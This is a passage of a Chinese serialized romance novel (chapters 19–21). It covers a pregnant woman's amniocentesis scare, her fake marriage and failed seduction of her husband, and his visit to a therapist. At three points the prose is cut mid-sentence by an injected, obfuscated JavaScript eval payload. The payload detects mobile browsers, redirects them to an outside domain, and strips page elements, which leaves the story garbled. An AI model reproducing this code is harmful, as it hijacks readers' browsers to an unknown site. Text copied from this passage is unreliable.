甄宝珠在原地站了很久,才拿出手机拨通黎铮的电话,也不知道为什么,就是很想打给他。 黎铮的航班晚点,此时刚下飞机,声音疲倦又烦躁,“你又有什么事儿?” 听到黎铮这种口气,甄宝珠所有的话都说不出口了,他只是一个临时爸爸,没有义务对她的所有事情负责。 大概只有她真情实感地入戏了。 甄宝珠眼眶发热,暗吸一口气,“没事儿,就是想问你什么时候回来?” “下周回。”他的回答很简短。 她故作轻松回了一句,“哦,没事了。” 刚要挂断电话,黎铮忽然问:“甄宝珠,你怎么了?” 甄宝珠在电话另一端摇头,“没事儿啊。” “……真没事?” “嗯,挂了。” 电话挂断,她窝在沙发里看着落地窗外的月亮,清冷的月光也似乎离她越来越远,眼泪猝不及防坠落脸颊,就再也收不住了。 她不知道什么时候哭着睡着了,第二天醒来手心还紧紧贴着小腹。 她本以为自己一个人能扛,但她对着镜子梳洗,看着干涩的嘴唇,又红又肿的眼睛,她觉得好像不认识镜子里那人。 肆意洒脱的人生里好像从来都没有如此狼狈的时刻,她发现镜子里那人又哭了,抽出两张纸巾,眼泪擦了又擦。 最后她还是打电话给甄玉珠,她知道她一个人扛不下去。 甄玉珠温柔似水的声音响起,她就收不住哭腔,“姐,我今天要去医院做羊水穿刺,我特别害怕,你陪我去行吗?” 那边短暂沉默后问:“唐筛没过吗?” “嗯。”她拿着纸巾捂住眼睛,身体微微发抖。 “别怕宝珠,你先收拾一下,等着我去接你。” 甄宝珠根本没有化妆的心思,清水洗去脸颊的泪痕,顶着一张素颜,坐在床上一直发呆。 甄玉珠接到她,握住她冰凉的手安慰:“我们宝珠基因很好,一定是医院搞错了,唐筛的准确率也不是百分之百。” 一路上甄玉珠给她打气,又问到黎铮,甄宝珠只是说:“他出差了,不用麻烦他了。” 甄玉珠把她送到超声介入室,甄宝珠一个人进去。 她躺在床上,医生先用超声仪器听过胎心,甄宝珠听着皮肤下强有力的心跳声,无论如何都不愿相信这是一个不健康的孩子。 无菌小蓝布盖在肚皮上,医生取出20厘米的长针,确认她的名字,“你不要紧张,一会儿要扎针的时候不要动,不要躲,扎进去会有一点点痛,和你采血基本是一样的,放松点儿。” 碘伏在她肚皮上涂抹,凉凉的感觉预示着接下来的疼痛。 甄宝珠咬紧牙关一声不吭,眼不错神跟着长针移动目光,她的手指暗暗扣住床沿,全身心都在努力控制发抖的反应。 眼看着长针将要刺进皮肤,温热的大手轻轻覆在她的眼皮上,紧抠床沿的泛白指节被包进温暖的掌心。 “抓着我。” 19. 第 19 章 甄宝珠好不容易收拾起来的坚强心脏,在听到黎铮声音的那一刻崩成玻璃碎片,仿佛她是一艘出港飘摇的孤舟,停靠码头才止住颤抖。 她的眼泪迸涌而出,滚烫热泪渗入他的掌纹,黎铮一言不发,用温柔擦拭她的忧惧。 羊水穿刺进行得很顺利,甄宝珠换衣服时黎铮退出了介入室,此时甄玉珠正眼不错神望着介入室的大门,她身后还跟着那个黎铮叫不出名字的保镖。 “听说黎总出差,都没有时间陪新婚妻子来医院。” 温婉贤淑的甄玉珠话语中亮出锋芒,但黎铮不感到错愕,仿佛他早知道甄玉珠并不像表面看起来那样无害。 “宝珠没跟我说,我知道了,现在回来了。” 黎铮也没心情跟她多说几句。 甄玉珠唇边藏着浅湾,双眸却落了冷霜,“黎总和我妹妹结婚,就应该只有照顾好我妹妹这一件要紧的事。” 黎铮呵笑。 甄家人都这么霸道无理吗? “玉珠小姐调查我这么长时间,难道没搞清楚我和宝珠到底是什么关系吗?” 两人目光争锋,互不相让。 “我只查到黎总父母的那次车祸,发现不是意外,又找人拜访了当年制造车祸的罪犯,他在监狱里被黎总‘照顾’得很好,时刻没忘黎总,假如有一笔巨额保释金,我相信他会亲自上门找黎总致谢。” 黎铮的拳头暗紧,缓步走向甄玉珠,却被戎昱伸臂拦住。 “黎总,”甄玉珠漠然道:“当初我妹妹从栏杆摔下,是我用身体护住了她,那时宝珠六岁,我也只有十二岁,我想告诉你的是,当年我有倾尽全力保护妹妹的觉悟,现在依然有,如果有人敢伤害她……” 她的目光又冷又硬,仿佛已经把黎铮当成了仇敌。 介入室的门打开,甄宝珠被护士搀扶着走出来。 甄玉珠偏头望向甄宝珠,目光瞬间变得温柔,双手努力推着轮椅向妹妹靠近,不料却被黎铮抢先。 黎铮扶着甄宝珠,单手环在她的腰间,语气温和:“还疼吗?” 甄宝珠小脸惨白但嘴硬,“一点儿都不疼。” 医生嘱咐她留观,黎铮给她递了杯热水,甄玉珠和戎昱也凑过来,几双眼睛同时盯着她,好像她是什么珍贵动物。 “医生让我留观。”甄宝珠双手握着杯子。 “嗯,知道。”他们异口同声。 “留观的意思不是你们留下观赏我...” 黎铮见她又开始耍贫嘴了,甄玉珠也没有要走的意思,反倒是自己呆在这儿显得不合适。 “那你们陪她吧,我公司还有事情。”黎铮说。 黎铮站起身,西装衣角被甄宝珠拉住,她也不说话,只是把他的衣角攥在手里抓得紧紧的。 甄玉珠短叹口气,“戎昱,还是我们走吧。” 本来以为甄宝珠也会留她,但甄宝珠望着黎铮,也没说一句挽留她的话。 甄玉珠戳了戳她的脑袋,怨道:“小白眼儿狼。” 她走后,黎铮在甄宝珠身边坐下。 甄宝珠手指抠着纸杯,说:“我让你留下,其实是有话想和你说。” 医生告诉她羊水穿刺需要等待一周才会出结果,她才明白原来最难熬的不是抽样过程,而是她接下来胆战心惊的一周。 此时黎铮的出现,多少让她心里有些安慰。 她问:“你不是出差一周,怎么突然回来了?” “我怕你作妖,趁我不在把房子卖了。” 本来是个玩笑,但甄宝珠咬着唇壁,低着头,没有一丝笑模样。 黎铮又说:“你可以告诉我的。” 甄宝珠摸了摸肚子,“这是我的孩子。” “我是你的丈夫。”黎铮说。 她垂下眼睫,踌躇道:“如果,这个孩子真的是唐氏儿,我不能留下ta。” 黎铮微怔,安慰她:“不会的,你怀的是优秀基因。” 甄宝珠沉默片刻,“如果最后留不住,我想我们的协议也应该提前结束了。” 黎铮那双柔情的嘴唇动了动,又抿紧,最后从喉头发出一个音节,“嗯。” 甄宝珠揉了揉肿起来的眼皮,“跟我结婚也没给你什么实际帮助,我们也没有财产可以分割,你送我爷爷的瓷瓶我以后给你折现。” 黎铮点头,嗓音带着疲惫的沙哑,“好。” 杯里的水喝完,甄宝珠把纸杯扔进垃圾桶,“走吧,我回去收拾一下东西。” “你先睡一觉吧,哭了一晚上,不累吗?” 甄宝珠顿住脚步,嘈杂的医院走廊仿佛忽然静音,耳边只剩下黎铮低沉磁性的尾音。 他怎么知道…? 她转过身,发现黎铮深邃的眼窝凹陷,下巴长出青茬,西装也有些褶皱,看起来很疲惫。 “你又监视我了?” 黎铮皱了下眉,矢口否认:“没,你的眼睛肿成单眼皮了。” * 回到家里甄宝珠度过了两个失眠的夜,白天一个人躲在衣帽间,默默整理曾经购买的婴儿服,心情跌到谷底,又掉了几滴眼泪,她把婴儿小袜子套在手指上擦眼泪。 不知何时黎铮出现在衣帽间,他倚着门,静静看着她。 “甄宝珠,”黎铮语气寡淡,“我记得你以前不这样。” 甄宝珠沉浸在悲伤情绪里,哽咽道:“我想一个人呆着。” “我们第一次见面时候你就已经怀孕了吧?还跟我说不喝酒是因为家教森严。”黎铮冷嗤一声。 甄宝珠瞥视他,“现在说这些有意思吗?” 黎铮挑衅一般,“我觉得有意思。” 她站起身,怀里抱着叠好的婴儿服,走到他面前,“你能去医院陪我,我很感谢你,但现在我想一个人呆着,你听不懂人话吗?” 她本来就觉得孩子有问题就是因为自己曾经的放纵行为,黎铮还要死不死地故意提起,让她现在只想迁怒于黎铮。 她用力想要推开黎铮,黎铮却站在门口一动没动,“我话没说完。” 甄宝珠撇过头,不想听他说话。 “你姐姐生日宴上,你脱掉高跟鞋跑上楼,速度快得能参加短跑比赛,在夜色皇宫你握着酒瓶就冲进我的包厢,打算给我开瓢?你就这样折腾,孩子都没事儿,我不相信ta不健康。” 甄宝珠仰起头,一滴泪又掉下来,黎铮抿着唇,用手背抹去她脸颊的热泪。 “别哭了。”他偏着眼神,漫不经心道:“就算ta真的不健康,你打起精神,也能让ta感受到一点快乐。” 甄宝珠看着黎铮,她承认确实受到了一些鼓舞,一直这样自怨自艾确实不像她的性格,她收回眼泪,把怀里的小衣服都推进他怀里。 “你不去当励志讲师真的可惜了,不过你说的对,我开心,孩子才会开心。” 就算她和这个孩子的缘分只能到这里,她也希望孩子能多快乐一天。 她走上楼,趴着栏杆冲楼下的黎铮喊:“今天晚上孩子不想吃健康食品了,吃麻辣小龙虾才会开心,你叫人送来吧,我吃三斤。” 甄宝珠在楼上睡了一下午,醒来已经饿了,一出门就隐隐闻到小龙虾的味道,她揉着睡眼,顺着香味就飘到餐厅。 餐厅方桌摆了满满一桌,除了小龙虾都是她爱吃的甜口,黎铮正坐在方桌另一头等她吃饭。 她默默把一盆小龙虾挪到自己面前,戴上手套开动,嘴也不闲着,幽幽道:“这么丰盛,散伙饭?” 黎铮没搭理她,她噘嘴不满:“要我说吃小龙虾最好配冰啤酒。” 黎铮抛出一记冷眼,“我让你打精神,不是发神经。” 甄宝珠露出一抹难得笑意,“谁让你提喝酒的事儿,让我特别怀念,你在国外长大,难道不怀念每天开派对的日子吗?” “不怀念。”黎铮淡淡道,“如果你在那里待的够久,就会明白我为什么回国。” 从小生活在那里,他的亚洲脸没让他体会到任何优越感,身份认同一直是他的难题,直到父母去世后,他踏入这片土地,看着周围和他同样肤色的人群,才有了脚踩实地的感觉。 像一株断梗浮萍,找到了属于他的池塘。 甄宝珠托着腮,只觉得黎铮无趣。 她不死心地问:“大学就没参加过什么兄弟会?” 他漫不经心回答:“我每天很忙,学校、家里的餐馆,两点一线。” 之前听黎铮说过家里开中餐馆,甄宝珠却没兴趣了解过,现在吃着散伙饭她倒是来了兴致。 “你家的中餐馆在哪里开?没准我还去吃过呢。” “在费城的华人街。” 甄宝珠检索了一下脑海中的印象,“费城我只去过一次,那次是去见朋友,但我猜一定不好吃,如果好吃的话朋友就会邀请我去华人街吃饭了。” 那次是她和游悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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甄宝珠继续分析,“但你离婚就不一样了,离过婚证明你曾经结过婚,肯定没什么隐疾,而且离婚之后,曾经觉得你太有钱自己配不上的,也瞬间觉得能配上了,因为你是二婚。所以说,跟我离婚之后,你会更好的。” 黎铮半天没说话,好像还是试着理解。 最后他沉着脸,只说了句:“借你吉言。” 甄宝珠把筷子一伸,打算再探那盘宫保鸡丁,黎铮伸手把盘又往远挪了挪。 他冷冷道:“让你的嘴歇会儿吧。” 甄宝珠扁嘴,他生什么气啊? * 一周后,黎铮又陪她去了医院,路上她的手指一直互相缠着,两条细腿不安稳地晃来晃去。 医生拿出她的检验结果,告诉她羊水穿刺的结果是低风险,这个孩子是很健康的宝宝,没有基因问题。 甄宝珠彻底松了口气,激动得有些热泪盈眶。 拿着报告单走出诊室,黎铮就在外面等她,她一出门黎铮就起身迎了上来。 看她泪眼汪汪,黎铮眉间紧拢,长睫毛遮住眼底的波澜,他稳了稳心神,冷静问道:“结果怎么样?” 甄宝珠展开检查报告,挡住半张脸,双眸重新灿烂,“低风险,黎铮,我的宝宝是健康的。” 紧绷的神经忽然放松,她开心得想原地蹦起来,她不用把那些婴儿服扔掉了,以后都能用得上,因为她会生一个健康的宝宝,现在她已经不要求这个孩子智商有多高,以后会有多优秀,她只希望ta是健康的。 黎铮忽然伸出手臂,抱住了她。 一切都猝不及防,黎铮的手臂紧紧圈住她的肩膀,手掌落在她后脑勺,揉了揉她的头发。 身上的气味把她包裹得严严实实,苦涩与甜蜜的气息交缠融合,像油柑果入口,总有种苦尽甘来的感觉。 她贴着黎铮的胸口,有些喘不过气,心也怦怦直跳,试着推了推他,没推动。 甄宝珠闷闷地说:“检查单被你压坏了。” 黎铮才松开手臂,向后撤了一步。 “我是想…恭喜你。”黎铮目光闪躲。 她咬了咬唇,离开他的怀抱还有些无所适从的感觉,这个男人就像某种春蛊一样,总能让她不分场合地产生一些奇怪的欲望。 场面有些尴尬。 她低顺眉眼,自顾自咕哝:“我们的结婚协议还要继续,你得晚点儿当二婚男了。” “嗯,”黎铮点了下头,“知道了。” 他们一起走出医院,甄宝珠忽然想到什么,对黎铮说:“我还有些事儿要问大夫,你先去停车场。” “什么事儿?我陪你回去问。” “不用不用,我自己去。”甄宝珠摆手,没等黎铮再开口。 她返回门诊,反手把诊室门关紧,认真问道:“医生,我现在能做.爱吗?” 20. 第 20 章 甄宝珠往前倾身,一脸期盼等待医生的答案,倒把五十来岁的产科医生搞得有些不好意思。 “不能,你刚做完羊水穿刺,起码需要半个月才能进行轻度的性生活。”产科主任严肃道。 甄宝珠托腮眨眼,她不知道什么叫轻度的性生活,意思是不能太激烈吗? 脑海里不可避免地想象出一些激烈画面,两朵粉晕瞬间浮在她脸上。 黎铮紧紧抱住她的那一刻,她确定了一件事——她想睡他。 她一个嗜甜如命的人,嗅到黎铮身上冷冽的苦木气味却不讨厌,甚至想多闻闻,甚至想扒开衣服闻闻。 这不是想睡他是什么? 医生的回答让她有些失望,拖着脚步慢腾腾走出医院,黎铮的车正在门口等她。 上车之前甄宝珠透过车窗的倒影快速整理了一下自己的形象,特意把头发别过耳后,确保她引以为傲的美貌全部被黎铮看到。 结果一上车,黎铮头都没抬。 他低头看着手机邮件,随口道:“送你回家,我马上要出差。” “啊?”她夹起嗓音,试图变出一个娇软甜腻的音色,“你怎么每天这么忙?多辛苦呀。” 黎铮滑动手机的手指停顿了下,目光瞥过来,“你把声带落医院了?” 甄宝珠也尴尬,轻咳两声,娇羞捂脸,只露出一双含情双眼,直勾勾望着黎铮,卷翘睫毛忽闪忽闪。 黎铮被她盯得心里发毛,自觉道歉:“刚才只是礼节性拥抱,你别阴阳怪气,也不用这么仇视我。” 不是,什么叫阴阳怪气?他又是从哪里看出仇视的眼神啊? 这明明是小嗲精的撒娇和媚眼如丝的渴望。 甄宝珠瞪了一眼不解风情的黎总,心说没关系,反正现在也只能看不能吃,只要她略施手段,小小黎铮迟早被她拿下。 * 黎铮出差那几天,甄宝珠没少忙活,去美容院护理身体和头发、购置新衣服和性感内衣、查看黎铮历年的体检报告。 她已经很久没有为男人忙前忙后了,仿佛重新拾起热恋的感觉,整个人每天轻飘飘的,又期盼又憧憬。 黎铮一周后才回来,她算了算时间,距离羊水穿刺刚好半个多月,天助也! 当时她听到楼下开门的声音,立刻从床上弹起来,特意照了照镜子,走出卧室迎接即将被她拿下的男人。 她站在二楼扶着栏杆,裸露半个肩膀,冲黎铮轻轻挥手,又眼睁睁看着黎铮脚步如风,径直走进书房,完全忽视了她。 甄宝珠的粉拳锤了下栏杆。 是不是得用撑衣杆砸他的头,他才能看到楼上风情万种的人妻? 她提起半滑的睡袍,蹬蹬蹬几步下楼,猛地推开书房门。 黎铮坐在整片屏幕前,一张脸赛雪欺霜,墨瞳微动,同时观察着几十个不同画面。 甄宝珠穿着锦毛鼠套装拤腰站在他眼前,“回来招呼都不打?” 黎铮仍盯着屏幕,分不出个眼色给她,“昨晚听到什么动静了吗?” 她睡得死沉死沉,能听到什么动静? 修长的手指挪动鼠标,把时间定格在昨夜凌晨,一辆黑车在他门前停留了很长时间,黎铮眯起眼,腮骨紧了紧,手掌也早攥成了拳。 甄宝珠也歪头看着屏幕里的黑车,“这不是我家的车吗?” 黎铮扭脸,“你说什么?” 她指着车尾的HelloKitty挂件,“这个,我挂上的,不过我家的车为什么会半夜停到这里?” 黎铮想到了甄玉珠,他暂松口气。 嗅到甄宝珠身上糖果一样的香甜味道,他才发现甄宝珠撑着手臂,靠他很近,近到他一偏眼就能看到白色睡袍里的蕾丝吊带睡裙。 “你在家穿成这样干什么?”他的语气稍有放松。 甄宝珠小脸红扑扑的,“哦,我打算泡澡。” “那你还站在这里干什么?” “我是说,”甄宝珠的手指向里勾住他的衣服袖口,指腹磨着定制袖扣,“我打算泡澡。” “去吧。”黎铮又陷入监控屏幕。 甄宝珠愤愤然离开书房,褪下睡衣,躺进浴缸,柔润的黑长发浸泡在热水里,白皙手臂拨着水波,打散玫瑰花瓣。 她心里嘀咕,如果这样暗示还不够明显,难道她要脱光了站在他面前吗? 黎铮一直呆在书房,发现属于甄家的那辆车自他出差后就时不时停在门外,暗忖甄玉珠那日在医院对他说的话,不由得眉心紧锁。 此时他手机响起,甄宝珠轻佻磨人的声音从听筒里传来,“黎铮,我找不到浴巾了…” “你打电话给我就能找到了吗?”他揉了揉倦怠的眉心。 “你能不能给我送一套浴巾上来?”电话那边嗲声嗲气。 黎铮沉默片刻,“甄宝珠,我不是你的仆人。” 电话挂断几秒钟,甄宝珠不依不饶又打来一通。 “黎铮,谁让你随便挂我电话的?” 他看着监控屏幕里甄家的车,语气颇为不耐,“我的话已经说完了。” “可我还没说完,”甄宝珠嗓音甜美又真诚,“我其实是想感谢你,感谢你在医院陪我,回家还鼓励我,我晚上想请你吃饭,请你吃...啊!” 黎铮先听到什么东西重重摔落的声音,紧跟着就是甄宝珠的惨叫。 “甄宝珠?” 电话那边静悄悄。 黎铮站起身推门走出书房,“甄宝珠,说话。” 电话挂断了。 他几步跨上二楼,没有一丝犹豫推开甄宝珠的浴室。 浴室氤氲的潮湿和玫瑰香气紧裹着他,拨开薄雾似的热气,黎铮看到地上沐浴露和身体乳七零八落。 甄宝珠半身被一层嫣红花瓣遮挡,光着奶油白的肩膀趴在浴缸边,像游动的美人鱼,巴掌小脸被热潮蒸出粉晕,一深一浅的酒窝像清湖激起的涟漪,水汪汪的勾人眼神让他心头一颤。 她笑意狡黠,伸手在虚空处抓了抓,“帮我找浴巾。” 黎铮硬了,拳头硬了。 她竟然敢这么戏耍他。 黎铮转身就走,甄宝珠又可怜巴巴,“我要感冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497913|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 浴室的门被人狠狠摔上,甄宝珠懵了,重新打开手机,仔细核对了一下她从网上查到的推倒男人战术。 以前她从来不用费心勾引,都是男人勾引她,就连攻略手册都是她在网上现学的。 按照网上的军师说的,这会儿黎铮怎么也应该给她来个公主抱,或者直接把她扛起来扔床上。 怎么没奏效呢? 几分钟后浴室门又被打开,一块洁白的浴巾直接从门口飞过来,落在她的头顶,盖住她半露的肩膀。 她人还懵着,寻思谁给她套麻袋了? 旋即就嗅到浴巾上属于黎铮的味道,她扯下浴巾,上面刺着黎铮的名字,她的唇角漾起笑意。 她裹着浴巾走出浴室,静静躺在床上,等着甜蜜气味彻底融进那条属于黎铮的浴巾,又细致地涂抹好身体乳,才下楼给他还浴巾。 甄宝珠穿着睡袍,披散半干的头发,脚踩一双毛绒绒的拖鞋,晃着雪白长腿站在他面前,递给他浴巾。 黎铮没接,“不用还了,扔掉吧。” 甄宝珠真的要生气了,他竟然敢嫌弃她。 她甩手把潮湿浴巾扔他身上,转头就要走,黎铮拉住她的手腕,把她按在沙发坐下,冷厉目光擦过她的脸,“甄宝珠,你听没听过狼来了的故事?” 甄宝珠直腰挺了挺小腹,故意道:“你要给我讲故事啊?医生也说现在能进行胎教了。” “你是在作死吗?”黎铮咬着后槽牙。 甄宝珠撸起袖子,翻身抬腿跨在黎铮身上,扯紧他的领带,巧翘鼻尖逼近他挺立的鼻梁,“我倒要看看我怎么死?你有种最好干死我。” 黎铮瞳孔震颤,身体也僵住,沐浴露的甜蜜味道扑向黎铮,一股燥流在身体紧贴处窜动,他脸色微变,本来已经伸出手要护住她腰身,却停在她腰眼后,也再不敢动。 目光停在她艳红的嘴唇,喉结耸动,“你在干什么?” 甄宝珠紧了紧双腿,准备调整一个舒服不卡膝盖的姿势,刚要开口黎铮按住她的腰眼,不平稳的气音像在请求,“别动。” 甄宝珠捏住他的下巴,拇指贴着他下巴颏上的美人窝,“你装什么正人君子?” 还不是蠢蠢欲动,蓄势待发。 “甄宝珠,你到底想干什么?” “我想睡你,看不出来?” 黎铮睫毛低垂,眼皮都染了浅浅的红,让人忍不住想欺负,甄宝珠环着他的脖颈,指尖轻轻碰触滚烫的耳垂。 环在她腰际的手掌越收越紧,热息从她锁骨处涌过,柔情嘴唇微张,克制着喘息问她:“甄宝珠,我们现在是什么关系?” 来了来了,它来了。 破坏氛围的终极问题它来了。 甄宝珠的指尖逆着短发撩拨,贴在他耳边轻笑了会儿,勾住他的领带松开,手指放在第一道衣扣上,说:“是假结婚,但我有点儿馋你。” 黎铮的手突然从甄宝珠腰间挪走,粗暴地拨开她解扣的手,“谢谢你提醒我。” 他阴沉着脸,声线带着愠怒,“现在,从我身上下去。” 21. 第 21 章 他明明也想的,她感觉到了。 但他紧锁眉头,面目冰冷,带着不容置喙的命令口气。 甄宝珠愣了下神的功夫,黎铮已经提腰把她扔在一边。 明明刚才起身时她还感觉到他顶着她,此刻她只感觉好像被人嫌弃了。 “……是因为我怀孕了吗?”她咬着唇,要打破砂锅问到底。 黎铮脸上的红晕渐褪,重新整理好领带,把浴巾撇在她的身上,正好盖住她裸露的小腿。 “我们是假结婚,以后我希望你在家能穿好内衣,并且,学会自重。” 说完他就上了楼,把甄宝珠一个人扔在客厅。 平生第一次,甄宝珠被男人拒绝了,甚至是坐在这个男人身上,他都推开了她。 她委屈、沮丧、愤怒。 都是成年男女,他到底在装什么? 别人从来没像他这么死装过,他归家前陈书禾还给她发微信,邀请她去看他的获奖典礼。 这一刻她投怀送抱,黎铮都不要,还说她不自重,他凭什么这么对她? 经过一个憋屈失眠的夜晚,第二天她给陈书禾发了条微信。 【时间地址发来,我去。】 甄宝珠特意坐在客厅化妆打扮,让黎铮走过路过都要看见她。 可是黎铮一直在书房,似乎是特意躲避和她碰面。 黎铮从书房出来时,她正搞了一身下衣失踪的穿搭,清透的黑丝袜包裹笔直长腿。 两人刚好在衣帽间转角处碰到,黎铮看着她的丝袜,眉头一紧。 又在作什么妖? 他想。 哪知甄宝珠直接无视了他,穿上马丁靴,包包一甩,摔门而出。 黎铮眼底青白,短叹口气。 甄宝珠失眠的夜里,他也没睡。 他拿出手机,拨通电话:“赵医生,今天约个时间吧。” * 科技展的颁奖典礼枯燥无味,甄宝珠连陈书禾的获奖感言都没太认真听,只顾着坐在后排玩儿游戏。 陈书禾下台后见甄宝珠兴致缺缺,偷偷问她想不想先走,学校里有个冰激凌店很好吃。 随后两人从礼堂后门偷溜出去。 初秋季节,校园的树还都绿着,偶有一片落叶坠地也不会引起路人注意,到处都是大学生两三结伴,甄宝珠微微凸起的孕肚被宽大卫衣遮住,也是一副青春洋溢大学生模样。 只是她自己知道,现在小肚腩也有了,弯个腰明显比以前费劲了。 陈书禾带她去了冰激凌店,点单时甄宝珠把钱付了,说谢谢他上次帮忙解码硬盘。 甄宝珠对着冰激凌发泄情绪,一勺一勺送进嘴里,甜蜜滋味在她口腔化开,她却觉得自己像个小苦瓜。 “姐姐,是颁奖典礼太无聊了吗?你看起来好像不太开心。” 甄宝珠根本没听他说什么,舔了舔唇边的冰激凌,忽然发问:“你会对怀孕的女人勃.起吗?” 她始终认为是因为怀孕,黎铮才嫌弃她,虽然她腰身是不比以前纤细,但也不至于吧。 陈书禾咽下整口冰激凌,冻在喉头话都说不出来,他伸手捋了捋咽喉,“……姐姐,什么意思啊?” “假如你是男人,一个美女坐在你身上,虽然她怀孕了,但身材还没走形,你会不会嫌弃她,把她推开?” 美女、怀孕、没走形。 陈书禾拿这些限定条件和面前的精致千金对比,又低了低头,“我本来就是男人…” 甄宝珠自顾自愤然,“明明已经箭在弦上了,还把人家推开,好像有病。” 陈书禾眼珠转了转,“男人是很难控制欲望的,如果他能控制得住,可能说明...他不喜欢你,不是,他不喜欢这个美女,也许…还很讨厌。” “真的?”甄宝珠默默垂下眼帘,有点相信了。 陈书禾用力点头。 原来,黎铮还是讨厌她,所以就算有生理反应,也能很轻易就控制住自己,还是她入戏太深,觉得黎铮抱了她就是喜欢她。 人家也许只是逢场作戏,塑造好老公的人设,说不准还把她的话听进去了,想着人设在外,二婚无忧,才不想和她扯上不清不楚的关系。 她把冰激凌里的配料杏仁放进嘴里,感觉这杏仁也苦巴巴的。 “姐姐,我带你去参观我们校园吧,你怀着宝宝,别总想不开心的事。” “行。”甄宝珠用力戳了戳半融化的冰激淋,“对了,今天颁奖怎么没看到刘白,你们不是一个团队吗?” 陈书禾还挺惊讶,“你不知道吗?游悠和刘白分手了,虽然是刘白提的分手,但他最近状态很不好。这个比赛对我们来说挺重要的,他也半路退出了。” 甄宝珠没好气道:“他提分手?他们在一起过吗?” 陈书禾愣了一下,“那他们...算什么?” “算他跟了游悠一段时间,他们那套发展流程明显就是走肾流程啊,他走心了?” 陈书禾:“……” 这个话题也没能进行下去,两人吃完冰激凌,陈书禾带她参观学校,一路走到食堂后门,就看见蹲在角落的熟悉背影。 刘白正蹲在地上,脊背微弓,用剩饭喂一条瘸腿小奶狗,落拓的背影看起来比狗还可怜。 “你用剩饭喂奶狗,容易把它喂死。”甄宝珠站在他身后埋怨。 刘白回头瞥了一眼,见是甄宝珠,语气生硬道:“喂死总比饿死强,站着说话不腰疼。” 甄宝珠正窝了一肚子火无处发泄,“我现在站着说话也腰疼,你懂狗语?小狗告诉你的,它想得胰腺炎?” “你看它可怜,你抱回去养,”刘白摸着小狗的手停在半空,冷笑一声,嘲讽道:“哦,我忘了,你们是那种想给每个流浪狗一个家的女人,结果真说要你负责,又退避三舍,朝三暮四。” 甄宝珠和陈书禾对视一眼。 他这是在说人还是狗? 甄宝珠叉着腰,倒不是有多气急败坏,只是孕激素和雌激素的共同作用下,她的腰又开始隐隐作痛了。 她戳了戳陈书禾,“你去,把狗抱起来。” 陈书禾走到刘白面前,俯身抱起狗,刘白乜了他一眼,“听话的狗也没有好下场。” 陈书禾轻叹口气,手掌托起小狗走到甄宝珠身边。 “托你的福,这狗我养了,你羡慕吗?”甄宝珠斜他一眼,“与其在这儿自怨自艾,你不如把那点儿精力放在正事儿上,学学你的好朋友,人间清醒。” 刘白走到甄宝珠面前,一双眼睛红红的,好像哭了几个大夜,“我怎么样是我的事儿,不用任何人管,游悠和你一样,就算结了婚也不会安分,谁和你们在一起,才应该一辈子自怨自艾。” 甄宝珠笑容明媚灿烂,语气充满不屑,“嫡长闺,一样就对了。结婚?你是不是想得有点儿多了?没事多买点葡萄补补吧,省得吃不着干着急。” 要论语言伤害,刘白真不是个儿。 主要他觉得自己是受害者,结果加害者的帮凶倒跑来对他大放厥词、冷嘲热讽,对方还是个孕妇,不能撸起袖子打一架。 他定定站着,眼圈泛红,胸腔起伏却说不出话来,甄宝珠一脸嚣张对着他挑衅。 陈书禾的本意是想让甄宝珠劝劝游悠,却没想到成了这样,他怕两人真打起来,赶忙拉着甄宝珠走了。 陈书禾抱着小狗,踌躇道:“其实刘白挺可怜的,他父母都去世了,从小跟哥哥相依为命,好不容易考上好大学,又碰到了游悠…” “成年人你情我愿,游悠可没害他,”甄宝珠一张口就要维护自己姐妹,“我就是看不惯他萎靡不振的死样子,不就是被人甩了,天塌了?” 陈书禾也说不过她,摸着小狗的脑袋,“这只小狗一条腿瘸,平时跑都跑不快,也总被其他流浪狗欺负,姐姐,你真的要养它吗?” 甄宝珠一言既出,“我当然要养,学校附近有宠物医院吗?我先去给小狗做个检查。” 甄宝珠准备从他手里接过小狗,陈书禾却没递给她,“我陪你去吧,检查没问题你再抱它吧。” * 与此同时,黎铮坐在赵医生对面已经十几分钟了,却仍没开口说话。 他是赵医生从业以来见过最典型的高防御型人格病历,因为智商高所以攻防能力也强,从哪个角度都无法进入他紧闭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516559|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心门。 他总是对心理治疗师的建议秉持质疑态度,但却是赵医生的老病号。他来不是为了寻找治疗方案,只是为了有人听他倾诉,并且职业操守让心理医生成为最适合倾听的人选。 简言之,他是黎铮的树洞。 所以他们面对面坐了十几分钟,赵医生一直等着,他却迟迟不肯开口。 赵医生试探引导:“最近一段时间你都没来,生活怎么样?” 黎铮抿了抿唇,说:“我今天来是有个问题想咨询。” 赵医生眼前一亮,黎铮竟然用了“咨询”这个词儿。 “心理医学上是不是有种疾病,叫...恋孕?” 心理咨询师停下手里的笔,不可思议地看着他,“也不能说是疾病吧,确实少部分人有这种心理需求,这其实和幼儿时期的经历——” “吃什么药能治好?”黎铮的问询简洁明了。 赵医生:“……要不你再详细说说?” 黎铮双手交叉抱胸,摆出很明显的心理防御姿势。 赵医生在黎铮的病历本上写了又写,抬头问他:“你这种情况有多久了?是怎么发现的?路上看到孕妇你会有什么样的感觉?” 